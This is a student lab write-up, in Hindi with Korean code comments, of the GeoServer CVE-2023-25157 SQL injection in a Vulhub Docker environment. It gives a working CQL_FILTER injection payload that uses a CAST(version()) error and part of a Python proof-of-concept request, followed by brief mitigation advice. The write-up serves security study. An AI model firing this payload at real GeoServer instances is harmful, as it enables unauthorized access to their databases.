geoserver CVE-2023-25157
श्वेत टोपी तीसरी पीढ़ी [30वीं कक्षा] किम जेओंगवू
github लिंक - https://github.com/custiya/geoserver-CVE-2023-25157
भेद्यता सारांश
- CVE-2023-25157 GeoServer नामक ओपन-सोर्स मानचित्र डेटा सेवा वेब एप्लिकेशन में एक SQLi भेद्यता है
- GeoServer 2.22.0 और उससे निचले कुछ संस्करणों में होती है
- WFS (वेब फीचर सेवा) अनुरोध में CQL_FILTER नामक पैरामीटर कमजोर है
- यदि बिना प्रमाणीकरण के API तक पहुँच संभव है, तो कोई भी इसका उपयोग कर सकता है
पर्यावरण सेटअप
- docker compose up -d कमांड से परीक्षण वातावरण चलाएँ
- http://your-ip:8080/geoserver पर पृष्ठ तक पहुँचा जा सकता है
- पहले PostGIS डेटा स्टोर वाले मौजूदा वर्कस्पेस को खोजना होगा
- Vulhub के GeoServer इंस्टेंस में पहले से PostGIS डेटा स्टोर मौजूद है
- वर्कस्पेस नाम: vulhub
- डेटा स्टोर नाम: pg
- तालिका नाम: example
- उपयोग की गई विशेषता: name
poc.py
- ऊपर वर्णित सामग्री के आधार पर SQLi स्टेटमेंट का रूप बनाया गया
- उस स्टेटमेंट को request मॉड्यूल का उपयोग करके सर्वर पर भेजा गया
- strStartsWith(name,'x'') = true
- x के बाद एक और ' जोड़कर SQL सिंटैक्स को तोड़ता है
- and 1=(SELECT CAST ((SELECT version()) AS integer))
- version() फ़ंक्शन PostgreSQL के वर्तमान संस्करण को लौटाता है, और यह एक स्ट्रिंग है
- CAST(... AS integer) जबरन पूर्णांक में बदलता है, जिससे त्रुटि उत्पन्न होती है
- सर्वर त्रुटि संदेश लौटाता है, जिससे ब्लाइंड SQL इंजेक्शन परीक्षण संभव होता है
# 대상 URL
url = "http://localhost:8080/geoserver/ows"
# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
# 파라미터 설정
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example",
"CQL_FILTER": cql_filter
}
परिणाम

निष्कर्ष
- इस PoC के माध्यम से SQLi की घटना का पता लगाया जा सकता है। हमलावर SQL क्वेरी के माध्यम से सिस्टम जानकारी एकत्र कर सकता है।
- इस हमले को रोकने के लिए, उपयोगकर्ता इनपुट सत्यापन जोड़ा जाना चाहिए। इसके अलावा, प्राप्त SQL स्टेटमेंट को सीधे अनुवाद करके उपयोग न करें, बल्कि अलग से संग्रहीत करके उपयोग करें।